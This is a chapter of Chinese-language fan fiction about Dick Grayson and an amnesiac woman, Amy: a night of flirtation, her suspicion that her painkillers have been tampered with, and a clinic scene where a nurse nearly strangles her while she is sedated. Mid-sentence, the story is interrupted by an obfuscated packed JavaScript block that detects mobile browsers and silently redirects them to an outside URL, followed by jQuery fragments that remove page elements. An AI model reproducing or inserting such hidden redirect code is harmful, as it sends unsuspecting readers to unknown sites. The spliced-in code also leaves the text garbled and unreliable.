“我们得去医院。”迪克紧紧搂着艾米,看着她发白的嘴唇,心捏成了一块。
艾米忍着疼痛到房间里拿了一颗止痛药,“不行,我不能去医院,我只能见艾希礼医生。”
桌子上有遗留的空药盒,迪克默不作声将其中一个塞进口袋。
他擦掉她头上的汗,等她缓解过来,“为什么?”
“当时我在医院里滞留,只有艾希礼医生愿意治疗我,因为我没有身份,医院不敢接受这样一个负担不起医疗费的人。”
这一直是艾米的心理阴影,所以艾米一直抗拒去正规医院治疗。
“我会想想办法,”迪克喂她喝了水,把电视关掉,“今晚我要留在家里陪你。”
“你是想和女朋友睡香香觉吧?”
迪克无奈到:“原本不想的,现在不得不想了。”
艾米恢复了逗趣的模样,“我就知道,你对我心思不单纯,可是没门,在我们结婚之前,我们都不能睡在一张床上。”
“哦~”迪克无所谓地说。
艾米以为至少在对方互说晚安前,是这样的。
艾米在客厅里用电脑查资料,迪克在客厅的浴室洗澡。
新购入的止痛药很快生效,似乎有一种飘飘然的感觉,刚刚那种痛苦的感觉被奇怪的兴奋压过,艾米口干舌燥,准备再去喝一杯水。
她经过浴室听到里面哗啦啦的水声。
一种朦胧的画面随着水声自动在她脑海中形成。
艾米克制住自己的探求的欲望,“没事的艾米,以后我们会有一起洗澡的机会的。”
“他是你的男朋友,偷看他洗澡不算过分吧?”
“不,我不是那种人,我这么纯洁,怎么会想知道水珠如何狡猾地滑过他的腹肌和人鱼线?”
艾米似乎忘记自己要干嘛,年轻条子身体的魅力已经搅乱了她的思绪,该死,她为什么要让他住进她家?
“甜心,我想我需要你的帮助,”迪克在浴室里碰碰撞撞,“你能过来一下吗?”
不,别过去,艾米,那是个美丽陷阱!
“咳,你需要什么?”
“我把摩根叔叔的衣服扯破了,”迪克有些好笑,“能再给我找一件吗?”
“哦,真是令人难过的消息——”
艾米幸灾乐祸地笑着,“摩根叔叔只有这件干净的衣服了,难道你想在大晚上穿衬衫吗?”
“真可惜。”迪克关住开关,水声停止,哐当,门打开,他状似不经意地走出来,浴巾摇摇欲坠地挂在他的腰腹上……
黑发在滴水,那颗珍贵的水珠沿着胸膛一直往下蔓延。
艾米捂住了眼睛,“你在干什么?你在考验我的定力吗?!”
“我的姐妹绝不允许我在这五天内对你动手!”
艾米节节往后退,浴室氲氤的水汽被他带了少许出来,艾米心跳不听指挥地加速,犯规!
迪克轻轻站在她的面前,用冒出头的胡茬蹭她的脸,就在他要亲在她嘴唇的一刻停了下来,“那算了,我们还是保持点距离。”
“你!”艾米羞怒地打他。
忽然间迪克出其不意地偷袭了一下,胡乱地亲了她一口,“但我还是想亲。”
“理查德.格雷森你就是混蛋!”艾米朝他扔了一个抱枕。
规则就是用来打破的,俩人还是睡在了一张床上,艾米划分了楚河汉界,不准迪克越线,艾米用书在中间设置了障碍。
“你不能半夜搞偷袭,你要是越过这几本书,未来的一周我都不会亲你了。”
一周后可以亲,因为她的姐妹就开始休眠了。
这对迪克并不算威胁,他侧躺着身体勾着艾米的小手指,“别担心,我一直很守信用,但是艾米小姐,要是你先越线呢?”
迪克压低语气,他知道怎么把话说得多么性感诱人,“为什么我不能碰你,但你就可以肆无忌惮地触碰我的身体,就像现在一样?”
他扯过艾米的手掌,放在自己的腹肌上,艾米拼命想收回自己的手,可迪克按住她,让她好好感受皮肤底下的体温。
见鬼,他的肚子上好像有心跳一样。
艾米在昏黄的台灯下吞了吞口水,然后条件反射地抽回自己的手,背对着他。
“你再耍流氓就到沙发上去睡吧!”艾米脸色发烫,明明知道她这时激素不稳定还逗她,他真是个坏坏的男友。
她背上被人戳了戳,迪克小声地喊:“女朋友,女朋友?你想不想玩个游戏?”
艾米打了个哈欠,止痛药让她困倦,她闭着眼问:“什么游戏?”
“我们跟彼此交换一个秘密好不好?”迪克又戳了戳她。
“不要,”艾米转过身按住他念念叨叨的嘴,“你不觉得我们太亲密了吗?”
迪克:“有什么比我们躺在床上更亲密的吗?”
艾米:“躺在床上看夜光手表。”
迪克把书推开,准备挠她的痒痒。
艾米嬉笑着,“真的,我之前听说有个长得帅气的男人,就像超人那种,他居然邀请女孩子去他家看模型!”
“我是说,白瞎他长那么帅的脸,你知道吗?”
迪克把手架在头后面,“我想今天我也经历了一个相同的事件,一个美丽的女孩邀请我回家看电影,看电影你知道吗?”
耳边传来艾米均匀的呼吸声,她抱着一个仙人掌的玩偶睡着了。
霓虹灯的广告牌投映进玻璃窗,似乎在地板上刻画了一个在海洋上漂泊的船。
迪克看了她许久,凑过去吻了吻她的额头,“晚安,我的艾米。”
*
清晨,小警长那套衣服已经被风吹干,艾米委屈他穿上旧衣服回家再换。
“你确定不需要我陪你去医院?”迪克穿上外套,忧心忡忡地看着她。
“我可以的,”艾米抱了他一下,“再说,我不是有这个嘛。”
艾米把定位器在他面前晃了晃。
她在楼下目送迪克离开,回到家里,把黄色药瓶里的止痛药片全部倒进垃圾桶。
她觉得很不对劲,在她没吃这种止痛药前,头痛不会这么频繁地发作。
有些无良厂商会在止痛药里加不合法的试剂,有的人甚至能从里面提取出du品。
艾米要去一探究竟,邦妮是新来的护士,私人的诊所,这些医生护士每时每刻都在推销更有利益的药品,艾米想,如果她的药真的被换了,她就要和这家诊所说拜拜了。
艾米走进小诊所,候诊厅有几个小萝卜头在吊水,艾米一眼瞧见邦妮的孩子查尔斯躺在小床上。
“他们怎么了?”艾米问。
邦妮皱着眉头走过来,“这段时间好多孩子得了肠胃炎,吃坏肚子了。”
艾米心里一惊,她这两天没摆摊,应该不是她弄的吧?
而且她用的可是新鲜食材
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073628|178459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,用的都是超市里卖的好油,可不是地沟油!
邦妮倒是帮着她说了两句,“不是吃小吃摊弄的,是他们在餐厅吃了不干净的东西,很多家长都去维权了。”
“还不是那叫啥名字的集团搞的,整个布鲁德海文的学校餐厅都是他们承包的,出事了跑得那叫一个快。”有个老头在旁边说。
“这些黑心资本家过两天还要参加商业峰会,你说这些人脸皮厚得跟城墙似的,还想撺掇市长去拉布鲁斯.韦恩的投资!臭不要脸!”
艾米一时接受不了这么多杂乱的消息,晕头晕脑的,直接跟邦妮说,“我来做最后一个检查吧,过几天我要去哥谭旅游了。”
邦妮有些意外,“你不在这儿做治疗了吗?”
“我觉得我已经好得差不多了,你上次推荐的止痛药挺管用的,再给我拿一瓶吧?”艾米面带微笑地说。
邦妮眼里闪过一丝慌乱,很快把异样压下去,“我看看电脑……最后一瓶刚刚卖给那个男人了,到货了我再通知你?”
“艾希礼医生为你定了一个新的头部治疗,你要不要试试看?”邦妮极力推荐医院新进的仪器,是一个半圆形的治疗仪,躺在床上,用贴片贴在患者太阳穴,通过脑电波分析患者的反应。
艾米躺在病床上,就当是睡个觉。
邦妮检查显示屏上的数据,“我会对你提问几个问题,之后你会陷入睡眠,让潜意识替你回答,透视窗站着的是另一个护士,我们可以保证你的安全。”
艾米点了点头问:“这个修复治疗可以唤醒我的记忆吗?”
“有的会,有的不会,目前通过治疗找回部分记忆的有3.5%的人,大部分失忆患者通过治疗可以记起重要的人或事。”
邦妮往她胸口贴着贴片,艾米忽然按住她,“除了这种治疗方式,还有什么方法可以让人记起过去呢?”
“一些日记啊,和以前认识的人做相同的事啊……记忆的恢复有多重可能性,最重要的是找到它们的附着点,刺激大脑中的‘记忆’细胞,”
艾米若有所思地问:“和别人看电影,也会有这种可能性吗?”
“当然,如果这个是你熟悉的人。”
艾米闭上眼,回想迪克的脸庞,他要告诉自己的是什么呢?
她很快在消毒水气味中陷入了一种似梦似醒的状态。
邦妮让助理去拿检查表,她关上房门,走近艾米。
“你的名字是艾米.奎蒂斯吗?”
艾米:“是的。”
邦妮的手用力在垫板上记笔记。
“你三年前被歹徒的袭击过是吗?”
艾米:“是的,我的脑袋被打破,失去了意识……医院……住进医院……”
邦妮:“你在哥谭做过什么?”
患者无回应。
邦妮确定艾米陷入睡眠状态,她伏在她耳边说:“你申请过哥谭警校刑事学院是吗?”
患者无回应。
邦妮缓慢张开自己的手,朝着艾米的脖子伸去,她眼里噙着泪水,艰难地开口,“你认识伊蒂文.麦戈斯吗?”
她感受到艾米颈部跳动的脉搏,只要她用力掐下去,不用一分钟,她就会死亡。
艾米.奎蒂斯会因为恐慌症发作而死亡。
砰——砰——
邦妮惊魂,猛然收回自己的手,外面传来急促的呐喊:“邦妮.麦戈斯,有急救人员来了,快出来!”